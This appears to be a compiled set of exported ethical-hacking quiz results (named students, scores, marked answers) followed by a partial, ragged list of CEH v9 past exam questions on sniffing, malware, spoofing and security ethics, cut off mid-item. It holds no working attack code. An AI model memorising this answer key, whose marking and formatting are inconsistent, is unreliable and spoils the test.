School name
first row
second row
third row

test: (Reg Genap 2018-2019) EH2-A: Kuis-01

surname:	1572024
name:	YOHANES SUHANDI
user:	1572024
start time:	2019-02-13 13:18:35
end time:	2019-02-13 13:30:37
time:	00:12:02
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**100.000 / 100.000 (100%) - PASSED**

(Reg Genap 2018-2019) EH2-A: Kuis-01

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]

1 S	4.000		281473913984534	13:18:35	13:19:13	00:38	37.755
... trojan starts a hidden proxy server on the victim's computer.							
	1	FTP					
	2	Remote Access					
+	3	Proxy server					
	4	Destructive					

2 S	4.000		281473913984534	13:19:13	13:21:21	02:08	128.124
... is a method of using ICMP as a carrier of any payload an attacker may wish to use.							
	1	Destructive Trojan					
	2	Proxy Server					
	3	Over Channel					
+	4	ICMP Tunneling					

3 S	4.000		281473913984534	13:21:21	13:21:32	00:11	10.531
... trojan will destroys operating system when executed.							
+	1	Destructive					
	2	Remote access					
	3	DoS Attack					
	4	Data-Sending					

4 S	4.000		281473913984534	13:21:32	13:22:57	01:25	84.541
Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library. What is the name of this library?							
	1	PCAP					
	2	LibPCAP					
	3	NTPCAP					
+	4	WinPCAP					

5 S	4.000		281473913984534	13:22:57	13:23:10	00:13	13.498
Which method is the most difficult to detect ?							
	1	Silent sniffing					
	2	Active sniffing					
	3	Agressive sniffing					
+	4	Passive sniffing					

6 S	4.000		281473913984534	13:23:10	13:23:23	00:13	12.412
.. are malicious pieces of code that carry cracker software to a target system.							
	1	Overt					
	2	Firewall					
	3	Antivirus					
+	4	Trojans					

7 S	4.000		281473913984534	13:23:23	13:23:32	00:09	9.067
Which protocol is not susceptible to sniffer?							
	1	telnet					
	2	pop3					
+	3	https					
	4	http					

8 S	4.000		281473913984534	13:23:32	13:23:55	00:23	22.663
In most trojans infection cases, it is the absent-minded user who invites trouble by downloading files or being ... about security aspect.							
	1	Aware					

	2	Good
	3	Careful
+	4	Careless

9 S	4.000	281473913984534	13:23:55	13:24:09	00:14	14.401

You suspect that your Windows machine has been compromised with a Trojan virus. When you run anti-virus software it does not pick of the Trojan. Next you run netstat command to look for open ports and you notice a strange port 6666 open.

What is the next step you would do?

+	1	Run utility CurrPorts and look for the application executable that listens on port 6666.
	2	Re-run anti-virus software.
	3	Re-install the operating system.
	4	Install and run Trojan removal software.

10 S	4.000	281473913984534	13:24:09	13:24:47	00:38	38.108

Trojans are used primarily to Gain and ... on the target system.

+	1	Retain access
	2	Destroy
	3	Defend
	4	Obtain

11 S	4.000	281473913984534	13:24:47	13:24:57	00:10	9.532

Most viruses operate in two phases, Infection Phase and ...

	1	Defend Phase
+	2	Attack Phase
	3	Local Phase
	4	Breeding Phase

12 S	4.000	281473913984534	13:24:57	13:25:08	00:11	10.802

Sniffing that conducted through a switch can be categorized as ...

	1	Agressive sniffing
	2	Silent sniffing
	3	Passive sniffing
+	4	Active sniffing

13 S	4.000	281473913984534	13:25:08	13:25:37	00:29	28.759

June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its known viral signature and hide from signature-based antivirus programs.

Can June use an antivirus program in this case and would it be effective against a polymorphic virus?

	1	Yes. June can use an antivirus program since it compares the parity bit of executable files to the database of known check sum counts and it is effective on a polymorphic virus
+	2	No. June can't use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and in the case the polymorphic viruses cannot be detected by a signature-based anti-virus program
	3	Yes. June can use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and it is very effective against a polymorphic virus
	4	No. June can't use an antivirus program since it compares the size of executable files to the database of known viral signatures and it is effective on a polymorphic virus

14 S	4.000	281473913984534	13:25:37	13:25:46	00:09	9.386

ARP is the name of a protocol that convert an ... to MAC Address.

	1	Domain Address
	2	MCA Address
	3	Web Address
+	4	IP Address

15 S	4.000	281473913984534	13:25:46	13:26:00	00:14	13.85

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because all traffic is clear text, even when encrypted
	2	Because wireless traffic uses only UDP which is easier to sniff
+	3	Because wireless access points act like hubs on a network
	4	Because wireless networks can't enable encryption

16 S	4.000	281473913984534	13:26:00	13:26:21	00:21	20.616

You receive an e-mail with the following text message. "Microsoft and AOL today warned all customers that a new, highly dangerous virus has been

discovered which will erase all your files at midnight. If there's a file called hidserv.exe on your computer, you have been infected and your computer is now running a hidden server that allows hackers to access your computer.
Delete the file immediately. Please also pass this message to all your friends and colleagues as soon as possible."
You launch your antivirus software and scan the suspicious looking file hidserv.exe located in c:\windows directory and the AV comes out clean meaning the file is not infected.
You view the file signature and confirm that it is a legitimate Windows system file "Human Interface Device Service".

What category of virus is this?

	1	Spooky Virus
	2	Stealth Virus
+	3	Virus hoax
	4	Polymorphic Virus

17 S	4.000	281473913984534	13:26:21	13:26:39	00:18	17.976

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

+	1	netstat -an
	2	ifconfig -s
	3	route print
	4	ipconfig -a

18 S	4.000	281473913984534	13:26:39	13:26:53	00:14	13.44

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

+	1	ARP spoof the default gateway
	2	Launch smurf attack against the switch
	3	Conduct MiTM against the switch
	4	Flood switch with ICMP packets

19 S	4.000	281473913984534	13:26:53	13:27:03	00:10	10.195

What is sniffing ?

+	1	Data Interception Technology
	2	Hacking Method
	3	Cracking Method
	4	Password Generator

20 S	4.000	281473913984534	13:27:03	13:27:13	00:10	9.901

MAC flooding is method that force a ... to act or work as a hub.

+	1	Switch
	2	Access Point
	3	Router
	4	Hub

21 S	4.000	281473913984534	13:27:13	13:27:29	00:16	15.66

Sniffing that conducted through a hub can be categorized as ...

	1	Active sniffing
	2	Silent sniffing
+	3	Passive sniffing

	4	Agressive sniffing

22 S	4.000	281473913984534	13:27:29	13:27:37	00:08	8.747

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

	1	Cryptographic
	2	Spoofing
+	3	Research projects
	4	Firmware

23 S	4.000	281473913984534	13:27:37	13:27:47	00:10	8.966

... combines two programs into single file, usually used to hide trojan.

	1	An attacker
	2	A firewall
	3	A router
+	4	A wrapper

24 S	4.000	281473913984534	13:27:47	13:28:44	00:57	57.296

... are distinguished from viruses by the fact that a virus requires some form of the human intervention to infect a computer, whereas it doesn't.

	1	Hoax
	2	Pranks
+	3	Worms
	4	Trojan

25 S	4.000	281473913984534	13:28:44	13:30:37	01:53	113.46

... is a technique for active sniffing.

	1	Broadcast flooding
	2	IP spoofing
	3	MAC sniffing
+	4	ARP spoofing

School name
first row
second row
third row

test: (Reg Genap 2018-2019) EH2-A: Kuis-01b

surname:	1672039
name:	ANDRIANUS ALVIEN
user:	1672039
start time:	2019-02-13 13:55:15
end time:	2019-02-13 14:12:30
time:	00:17:15
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**75.000 / 100.000 (75%) - PASSED**

(Reg Genap 2018-2019) EH2-A: Kuis-01b

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	6.250	281473913984523	13:55:15	14:01:40	06:25	53.675

A hacker has successfully infected an internet-facing server which he will then use to send junk mail, take part in coordinated attacks, or host junk email content.

Which sort of trojan infects this server?

	1	Banking Trojans
	2	Turtle Trojans
	3	Ransomware Trojans
+	4	Botnet Trojan

2 S	0.000	281473913984523	13:55:33	14:01:59	06:26	13.827

Which of the following statements is TRUE?

-	1	Sniffers operate on Layer 2 of the OSI model
	2	Sniffers operate on both Layer 2 & Layer 3 of the OSI model
	3	Sniffers operate on Layer 3 of the OSI model
	4	Sniffers operate on the Layer 1 of the OSI model

3 S	6.250	281473913984523	14:01:59	14:03:09	01:10	69.682

It is a kind of malware (malicious software) that criminals install on your computer so they can lock it from a remote location. This malware generates a pop-up window, webpage, or email warning from what looks like an official authority. It explains that your computer has been locked because of possible illegal activities on it and demands payment before you can access your files and program again. Which of the following terms best matches the definition?

+	1	Ransomware
	2	Spyware
	3	Riskware
	4	Adware

4 S	6.250	281473913984523	14:03:09	14:03:22	00:13	12.661

Which of the following is a command line packet analyzer similar to GUI-based Wireshark?

	1	ethereal
+	2	tcpdump
	3	Jack the ripper
	4	nessus

5 S	0.000	281473913984523	14:03:22	14:04:37	01:15	75.525

Which of the following describes the characteristics of a Boot Sector Virus?

	1	Modifies directory table entries so that directory entries point to the virus code instead of the actual program.
	2	Overwrites the original MBR and only executes the new virus code.
	3	Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR.
-	4	Moves the MBR to another location on the RAM and copies itself to the original location of the MBR.

6 S	6.250	281473913984523	14:04:37	14:04:52	00:15	14.824

Jesse receives an email with an attachment labeled “Court_Notice_21206.zip”. Inside the zip file is a file named “Court_Notice_21206.docx.exe” disguised as a word document. Upon execution, a window appears stating, “This word document is corrupt.” In the background, the file copies itself to Jesse’s APPDATA\local directory and begins to beacon to a C2 server to download additional malicious binaries.
What type of malware has Jesse encountered?

	1	Worm
	2	Key-logger
+	3	Trojan
	4	Macro Virus

7 S	6.250	281473913984523	14:04:52	14:06:18	01:26	85.61

An attacker is trying to redirect the traffic of a small office. That office is using their own mail server, DNS server and NTP server because of the importance of their job. The attacker gain access to the DNS server and redirect the direction www.google.com to his own IP address. Now when the employees of the office wants to go to Google they are being redirected to the attacker machine. What is the name of this kind of attack?

	1	Smurf Attack
	2	MAC Flooding

	3	ARP Poisoning
+	4	DNS spoofing

8 S	6.250	281473913984523	14:06:18	14:06:34	00:16	16.388

As an Ethical Hacker you are capturing traffic from your customer network with Wireshark and you need to find and verify just SMTP traffic. What command in Wireshark will help you to find this kind of traffic?

	1	smtp port
	2	tcp.contains port 25
	3	request smtp 25
+	4	tcp.port eq 25

9 S	6.250	281473913984523	14:06:34	14:06:58	00:24	23.839

_____ Is a set of extensions to DNS that provide to DNS clients (resolvers) origin authentication of DNS data to reduce the threat of DNS poisoning, spoofing, and similar attacks types.

	1	Resource records
	2	Resource transfer
+	3	DNSSEC
	4	Zone transfer

10 S	6.250	281473913984523	14:06:58	14:07:55	00:57	56.058

An attacker with access to the inside network of a small company launches a successful STP manipulation attack. What will he do next?

+	1	He will create a SPAN entry on the spoofed root bridge and redirect traffic to his computer.
	2	He will repeat the same attack against all L2 switches of the network.
	3	He will activate OSPF on the spoofed root bridge.
	4	He will repeat this action so that it escalates to a DoS attack.

11 S	6.250	281473913984523	14:07:55	14:08:15	00:20	19.905

Which of the following programs is usually targeted at Microsoft Office products?

	1	Polymorphic virus
+	2	Macro virus
	3	Multipart virus
	4	Stealth virus

12 S	6.250	281473913984523	14:08:15	14:08:27	00:12	12.81

The configuration allows a wired or wireless network interface controller to pass all traffic it receives to the central processing unit (CPU), rather than passing only the frames that the controller is intended to receive. Which of the following is being described?

	1	Multi-cast mode
	2	WEM
+	3	Promiscuous mode
	4	Port forwarding

13 S	0.000	281473913984523	14:08:28	14:08:40	00:12	12.206

An Intrusion Detection System (IDS) has alerted the network administrator to a possibly malicious sequence of packets sent to a Web server in the network's external DMZ. The packet traffic was captured by the IDS and saved to a PCAP file. What type of network tool can be used to determine if these packets are genuinely malicious or simply a false positive?

	1	Vulnerability scanner
	2	Protocol analyzer
-	3	Intrusion Prevention System (IPS)
	4	Network sniffer

14 S	0.000	281473913984523	14:08:40	14:08:55	00:15	15.592

Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?

	1	Polymorphic virus
	2	Cavity virus
	3	Stealth virus
-	4	Tunneling virus

15 S	6.250	281473913984523	14:08:55	14:10:23	01:28	86.942

How does the Address Resolution Protocol (ARP) work?

	1	It sends a request packet to all the network elements, asking for the domain name from a specific IP
+	2	It sends a request packet to all the network elements, asking for the MAC address from a specific IP
	3	It sends a reply packet to all the network elements, asking for the MAC address from a specific IP
	4	It sends a reply packet for a specific IP, asking for the MAC address

16 S	6.250	281473913984523	14:10:23	14:12:30	02:07	127.773

An attacker has installed a RAT on a host. The attacker wants to ensure that when a user attempts to go to "www.MyPersonalBank.com", that the user is directed to a phishing site.

Which file does the attacker need to modify?

+	1	Hosts
	2	Boot.ini

	3	Sudoers
	4	Networks

CEH v9 Past Exam Questions

1. Which of the following statements regarding ethical hacking is incorrect?
A. Ethical hackers should never use tools or methods that have the potential of exploiting vulnerabilities in an organization's systems.
B. Testing should be remotely performed offsite.
C. An organization should use ethical hackers who do not sell vendor hardware/software or other consulting services.
D. Ethical hacking should not involve writing to or modifying the target systems.

2. First thing you do every office day is to check your email inbox. One morning, you received an email from your best friend and the subject line is quite strange. What should you do?
A. Delete the email and pretend nothing happened.
B. Forward the message to your supervisor and ask for her opinion on how to handle the situation.
C. Forward the message to your company's security response team and permanently delete the message from your computer.
D. Reply to the sender and ask them for more information about the message contents.

3. Bob received this text message on his mobile phone: ""Hello, this is Scott Smelby from the Yahoo Bank. Kindly contact me for a vital transaction on: scottsmelby@yahoo.com"". Which statement below is true?
A. This is probably a legitimate message as it comes from a respectable organization.
B. Bob should write to scottsmelby@yahoo.com to verify the identity of Scott.
C. This is a scam as everybody can get a @yahoo address, not the Yahoo customer service employees.
D. This is a scam because Bob does not know Scott.

4. In many states sending spam is illegal. Thus, the spammers have techniques to try and ensure that no one knows they sent the spam out to thousands of users at a time. Which of the following best describes what spammers use to hide the origin of these types of e-mails?
A. A blacklist of companies that have their mail server relays configured to allow traffic only to their specific domain name.
B. Mail relaying, which is a technique of bouncing e-mail from internal to external mails servers continuously.
C. A blacklist of companies that have their mail server relays configured to be wide open.
D. Tools that will reconfigure a mail server's relay component to send the e-mail back to the spammers occasionally.

5. Bob, your senior colleague, has sent you a mail regarding a deal with one of the clients. You are requested to accept the offer and you oblige. After 2 days, Bob denies that he had ever sent a mail. What do you want to know to prove yourself that it was Bob who had send a mail
Integrity
Confidentiality
Authentication
Non-Repudiation

6. The collection of potentially actionable, overt, and publicly available information is known as
Open-source intelligence

7. An IT security engineer notices that the company's web server is currently being hacked. What should the engineer do next?
A. Unplug the network connection on the company's web server.
B. Determine the origin of the attack and launch a counterattack.
C. Record as much information as possible from the attack.
D. Perform a system restart on the company's web server.

8. A security consultant is trying to bid on a large contract that involves penetration testing and reporting. The company accepting bids wants proof of work so the consultant prints out several audits that have been performed. Which of the following is likely to occur as a result?
A. The consultant will ask for money on the bid because of great work.
B. The consultant may expose vulnerabilities of other companies.
C. The company accepting bids will want the same type of format of testing.
D. The company accepting bids will hire the consultant because of the great work performed.

9. What is the most secure way to mitigate the theft of corporate information from a laptop that was left in a hotel room?
A. Back up everything on the laptop and store the backup in a safe place
B. Use a strong logon password to the operating system

C. Encrypt the data on the hard drive
D. Set a BIOS password

10. Alice encrypts her data using her public key PK and stores the encrypted data in the cloud. Which of the following attack scenario will compromise the privacy of her data?
Alice also stores her private key in the cloud, and Harry breaks into the cloud server as before
11. A hacker is an intelligent individual with excellent computer skills that grant them the ability to explore a computer's software and hardware without the owner's permission. Their intention can either be to simply gain knowledge or to illegally make changes. Which of the following class of hacker refers to individual who work both offensively and defensively at various times?
Gray Hat
Black Hat
Suicide Hacker (Don't bother suffering long term jail)
White Hat

12. Nation-state threat actors often discover vulnerabilities and hold on to them until they want to launch a sophisticated attack. The Stuxnet attack was an unprecedented style of attack because it used four types of vulnerability. What is this style of attack called?
A. zero-day
B. zero-hour
C. zero-sum
D. no-day

13. A newly discovered flaw in a software application would be considered which kind of security vulnerability?
A. Input validation flaw
B. HTTP header injection vulnerability
C. 0-day vulnerability
D. Time-to-check to time-to-use flaw

14. Assume a business-crucial web-site of some company that is used to sell handsets to the customers worldwide. All the developed components are reviewed by the security team on a monthly basis. In order to drive business further, the web-site developer decided to add some 3rd party tools on it. The tools are written in Javascript and can track the customers' activity on the site. These tools are located on the servers of the marketing company. What is the main security risk associated with this scenario?
External script contents could be maliciously modified without the security team knowledge

15. An IT employee got a call from one of our best customers. The caller wanted to know about the company's network infrastructure, systems, and team. New opportunities of integration are in sight for both company and customer. What should this employee do?
A. Since the company's policy is all about Customer Service, he/she will provide information.
B. Disregarding the call, the employee should hang up.
C. The employee should not provide any information without previous management authorization.
D. The employees can not provide any information; but, anyway, he/she will provide the name of the person in charge.

16. A well-intentioned researcher discovers a vulnerability on the web site of a major corporation. What should he do?
Ignore it.
Try to sell the information to a well-paying party on the dark web.
Exploit the vulnerability without harming the web site owner so that attention be drawn to the problem.
Notify the web site owner so that corrective action be taken as soon as possible to patch the vulnerability.

17. To reduce the attack surface of a system, administrators should perform which of the following processes to remove unnecessary software, services, and insecure configuration settings?
A. Harvesting
B. Windowing
C. Hardening
D. Stealthing

18. An unauthorized individual enters a building following an employee through the employee entrance after the lunch rush. What type of breach has the individual just performed?
Announced
Piggybacking
Reverse Social Engineering
Tailgating

19. Jimmy is standing outside a secure entrance to a facility. He is pretending to having a tense conversation on his cell phone as an authorized employee badges in. Jimmy, while still on the phone, grabs the door as it begins to close. What just happened?

Masquerading
Whaling
Phishing
Tailgating (Piggybacking)

20. It is an entity or event with the potential to adversely impact a system through unauthorized access, destruction, disclosure, denial of service or modification of data.
Which of the following terms best matches the definition?
A. Threat
B. Attack
C. Vulnerability
D. Risk

21. A certified ethical hacker (CEH) is approached by a friend who believes her husband is cheating. She offers to pay to break into her husband's email account in order to find proof so she can take him to court. What is the ethical response?
A. Say no; the friend is not the owner of the account.
B. Say yes; the friend needs help to gather evidence.
C. Say yes; do the job for free.
D. Say no; make sure that the friend knows the risk she's asking the CEH to take.

22. A computer technician is using a new version of a word processing software package when it is discovered that a special sequence of characters causes the entire computer to crash. The technician researches the bug and discovers that no one else experienced the problem. What is the appropriate next step?
A. Ignore the problem completely and let someone else deal with it.
B. Create a document that will crash the computer when opened and send it to friends.
C. Find an underground bulletin board and attempt to sell the bug to the highest bidder.
D. Notify the vendor of the bug and do not disclose it until the vendor gets a chance to issue a fix.

23. While you were gathering information as part of security assessments for one of your clients, you were able to gather data that show your client is involved with fraudulent activities. What should you do?
A. Immediately stop work and contact the proper legal authorities
B. Ignore the data and continue the assessment until completed as agreed
C. Confront the client in a respectful manner and ask her about the data
D. Copy the data to removable media and keep it in case you need it

24. A consultant has been hired by the V.P. of a large financial organization to assess the company's security posture. During the security testing, the consultant comes across child pornography on the V.P.'s computer.
What is the consultant's obligation to the financial organization?
A. Say nothing and continue with the security testing.
B. Stop work immediately and contact the authorities.
C. Delete the pornography, say nothing, and continue security testing.
D. Bring the discovery to the financial organization's human resource department.

25. Your company performs penetration tests and security assessments for small and medium-sized business in the local area. During a routine security assessment, you discover information that suggests your client is involved in human trafficking.
What should you do?
Immediately stop work and contact the proper legal authorities
Confront the client in a respectful manner and ask her about the data
Copy the data to removable media and keep it in case you need it
Ignore the data and continue the assessment until completed as agreed

26. A certified ethical hacker (CEH) completed a penetration test of the main headquarters of a company almost two months ago, but has yet to get paid. The customer is suffering from financial problems, and the CEH is worried that the company will go out of business and end up not paying. What actions should the CEH take?
A. Threaten to publish the penetration test results if not paid.
B. Follow proper legal procedures against the company to request payment.
C. Tell other customers of the financial problems with payments from this company.
D. Exploit some of the vulnerabilities found on the company webserver to deface it.

27. An ethical hacker for a large security research firm performs penetration tests, vulnerability tests, and risk assessments. A friend recently started a company and asks the hacker to perform a penetration test and vulnerability assessment of the new company as a favor. What should the hacker's next step be before starting work on this job?
A. Start by foot printing the network and mapping out a plan of attack.
B. Ask the employer for authorization to perform the work outside the company.
C. Begin the reconnaissance phase with passive information gathering and then move into active information gathering.
D. Use social engineering techniques on the friend's employees to help identify areas that may be susceptible to attack.

28. Sophia travels a lot and worries that her laptop containing confidential documents might be stolen. What is the best protection that will work for her?
BIOS password
Password protected files
Hidden folders
Full disk encryption

29. Backing up data is a security must. However, it also has certain level of risks when mishandled. Which of the following is the greatest threat posed by backups?
A. A backup is the source of Malware or illicit information
B. A backup is incomplete because no verification was performed
C. A backup is unavailable during disaster recovery
D. An unencrypted backup can be misplaced or stolen

30. A bank stores and processes sensitive privacy information related to home loans. However, auditing has never been enabled on the system. What is the first step that the bank should take before enabling the audit feature?
Perform a cost/benefit analysis of the audit feature
Determine the impact of enabling the audit feature
Perform a vulnerability scan of the system
Allocate funds for staffing of audit log review

31. Low humidity in a data center can cause which of the following problems?
A. Heat
B. Corrosion
C. Static electricity
D. Airborne contamination

32. Which of the following examples best represents a logical or technical control?
A. Security tokens
B. Heating and air conditioning
C. Smoke and fire alarms
D. Corporate security policy

33. What is one thing a tester can do to ensure that the software is trusted and is not changing or tampering with critical data on the back end of a system it is loaded on?
A. Proper testing
B. Secure coding principles
C. Systems security and architecture review
D. Analysis of interrupts within the software

34. What would you type on the Windows command line in order to launch the Computer Management Console provided that you are logged in as an admin?
A. c:\\compmgmt.msc
B. c:\\gpedit
C. c:\\ncpa.cpl
D. c:\\services.msc

35. If you are to determine the attack surface of an organization, which of the following security operations is the BEST thing to do?
A. Running a network scan to detect network services in the corporate DMZ
B. Reviewing the need for a security clearance for each employee
C. Using configuration management to determine when and where to apply security patches
D. Training employees on the security policy regarding social engineering
36. A big company, who wanted to test their security infrastructure, wants to hire elite pen testers like you. During the interview, they asked you to show sample reports from previous penetration tests. What should you do?
A. Share reports, after NDA is signed
B. Share full reports, not redacted
C. Decline but, provide references
D. Share full reports with redactions

37. Your next door neighbor, that you do not get along with, is having issues with their network, so he yells to his spouse the network's SSID and password and you hear them both clearly. What do you do with this information?
A. Nothing, but suggest to him to change the network's SSID and password.
B. Sell his SSID and password to friends that come to your house, so it doesn't slow down your network.
C. Log onto to his network, after all it's his fault that you can get in.
D. Only use his network when you have large downloads so you don't tax your own network.

38. What network security concept requires multiple layers of security controls to be placed throughout an IT infrastructure, which improves the security posture of an organization to defend against malicious attacks or potential vulnerabilities?
A. Security through obscurity
B. Host-Based Intrusion Detection System
C. Defense in depth
D. Network-Based Intrusion Detection System

39. You are performing a penetration test. You achieved access via a buffer overflow exploit and you proceed to find interesting data, such as files with usernames and passwords. You find a hidden folder that has the administrator's bank account password and login information for the administrator's bitcoin account.
What should you do?
Transfer money from the administrator's account to another account.
Do not report it and continue the penetration test.
Do not transfer the money but steal the bitcoins.
Report immediately to the administrator.
40. Scenario: 1. Victim opens the attacker's web site.
2. Attacker sets up a web site which contains interesting and attractive content like 'Do you want to make $1000 in a day?'.
3. Victim clicks to the interesting and attractive content url.
4. Attacker creates a transparent 'iframe' in front of the url which victim attempt to click, so victim thinks that he/she clicks to the 'Do you want to make $1000 in a day?' url but actually he/she clicks to the content or url that exists in the transparent 'iframe' which is setup by the attacker. What is the name of the attack which is mentioned in the scenario?
A. HTTP Parameter Pollution (Manipulating query parameters on URL)
B. HTML Injection (Control input point to inject arbitrary HTML code into vulnerable page)
C. Session Fixation (Hijack valid user session, allows one person to fixate another person session ID)
D. ClickJacking Attack (UI redress attack when user is tricked to click on something)

41. Which type of security feature stops vehicles from crashing through the doors of a building?
A. Turnstile
B. Bollards
C. Mantrap
D. Receptionist

42. During a security audit of IT processes, an IS auditor found that there were no documented security procedures. What should the IS auditor do?
A. Identify and evaluate existing practices
B. Create a procedures document
C. Conduct compliance testing
D. Terminate the audit

43. Which of the following is an advantage of utilizing security testing methodologies to conduct a security audit?
A. They provide a repeatable framework.
B. Anyone can run the command line scripts.
C. They are available at low cost.
D. They are subject to government regulation.

44. Which of the following can the administrator do to verify that a tape backup can be recovered in its entirety?
A. Restore a random file.
B. Perform a full restore.
C. Read the first 512 bytes of the tape.
D. Read the last 512 bytes of the tape.

45. Knowing the nature of backup tapes, which of the following is the MOST RECOMMENDED way of storing backup tapes?
A. In a cool dry environment
B. Inside the data center for faster retrieval in a fireproof safe
C. In a climate controlled facility offsite
D. On a different floor in the same building
46. Security Policy is a definition of what it means to be secure for a system, organization or other entity. For Information Technologies, there are sub-policies like; Computer Security Policy, Information Protection Policy, Information Security Policy, Network Security Policy, Physical Security Policy, Remote Access Policy, User Account Policy. What is main theme of the sub-policies for Information Technologies?
Authenticity, Confidentiality, Integrity
Confidentiality, Integrity, Availability
Availability, Non-repudiation, Confidentiality
Authenticity, Integrity, Non-repudiation

47. An enterprise recently moved to a new office and the new neighborhood is a little risky. The CEO wants to monitor the physical perimeter and the entrance doors 24 hours. What is the best option to do this job?
A. Use fences in the entrance doors.
B. Install a CCTV with cameras pointing to the entrance doors and the street.
C. Use an IDS in the entrance doors and install some of them near the corners.
D. Use lights in all the entrance doors and along the company's perimeter.

48. If executives are found liable for not properly protecting their company's assets and information systems, what type of law would apply in this situation?
Common
Civil
International
Criminal

49. Which type of security document is written with specific step-by-step details?
A. Process
B. **Procedure**
C. Policy
D. Paradigm

50. A security policy will be more accepted by employees if it is consistent and has the support of
A. coworkers.
B. executive management.
C. the security officer.
D. a supervisor.

51. Which of the following is a detective control?
A. Smart card authentication
B. Security policy
C. Audit trail
D. Continuity of operations plan

52. Which of the following is a preventive control?
A. Smart card authentication
B. Security policy
C. Audit trail
D. Continuity of operations plan

53. A Network Administrator was recently promoted to Chief Security Officer at a local university. One of employee's new responsibilities is to manage the implementation of an RFID card access system to a new server room on campus. The server room will house student enrollment information that is securely backed up to an off-site location.
During a meeting with an outside consultant, the Chief Security Officer explains that he is concerned that the existing security controls have not been designed properly. Currently, the Network Administrator is responsible for approving and issuing RFID card access to the server room, as well as reviewing the electronic access logs on a weekly basis.
Which of the following is an issue with the situation?
A. Segregation of duties
B. Undue influence
C. Lack of experience
D. Inadequate disaster recovery plan

54. A company has hired a security administrator to maintain and administer Linux and Windows-based systems.
Written in the nightly report file is the following:
Firewall log files are at the expected value of 4 MB. The current time is 12am. Exactly two hours later the size has decreased considerably. Another hour goes by and the log files have shrunk in size again.
Which of the following actions should the security administrator take?
A. Log the event as suspicious activity and report this behavior to the incident response team immediately.
B. Log the event as suspicious activity, call a manager, and report this as soon as possible.
C. Run an anti-virus scan because it is likely the system is infected by malware.
D. Log the event as suspicious activity, continue to investigate, and act according to the site's security policy.

55. The precaution of prohibiting employees from bringing personal computing devices into a facility is what type of security control?
A. Physical
B. Procedural
C. Technical
D. Compliance

56. Which of the following business challenges could be solved by using a vulnerability scanner?
A. Auditors want to discover if all systems are following a standard naming convention.
B. A web server was compromised and management needs to know if any further systems were compromised.
C. There is an emergency need to remove administrator access from multiple machines for an employee that quit.
D. There is a monthly requirement to test corporate compliance with host application usage and security policies.

57. How can a policy help improve an employee's security awareness?
A. By implementing written security procedures, enabling employee security training, and promoting the benefits of security
B. By using informal networks of communication, establishing secret passing procedures, and immediately terminating employees
C. By sharing security secrets with employees, enabling employees to share secrets, and establishing a consultative help line
D. By decreasing an employee's vacation time, addressing ad-hoc employment clauses, and ensuring that managers know employee strengths

58. Due to a slowdown of normal network operations, IT department decided to monitor internet traffic for all of the employees. From a legal stand point, what would be troublesome to take this kind of measure?
A. All of the employees would stop normal work activities
B. IT department would be telling employees who the boss is
C. Not informing the employees that they are going to be monitored could be an invasion of privacy.
D. The network could still experience traffic slow down.

59. Craig received a report of all the computers on the network that showed all the missing patches and weak passwords. What type of software generated this report?
A. a port scanner
B. a vulnerability scanner
C. a virus scanner
D. a malware scanner

60. Which of the following processes evaluates the adherence of an organization to its stated security policy?
A. Vulnerability assessment
B. Penetration testing
C. Risk assessment
D. Security auditing

61. The intrusion detection system at a software development company suddenly generates multiple alerts regarding attacks against the company's external webserver, VPN concentrator, and DNS servers. What should the security team do to determine which alerts to check first?
A. Investigate based on the maintenance schedule of the affected systems.
B. Investigate based on the service level agreements of the systems.
C. Investigate based on the potential effect of the incident.
D. Investigate based on the order that the alerts arrived in.

62. As a Certified Ethical Hacker, you were contracted by a private firm to conduct an external security assessment through penetration testing.
What document describes the specifics of the testing, the associated violations, and essentially protects both the organization's interest and your liabilities as a tester?
Project Scope
Rules of Engagement
Service Level Agreement
Non-Disclosure Agreement

63. In an internal security audit, the white hat hacker gains control over a user account and attempts to acquire access to another account's confidential files and information. How can he achieve this?
A. Port Scanning
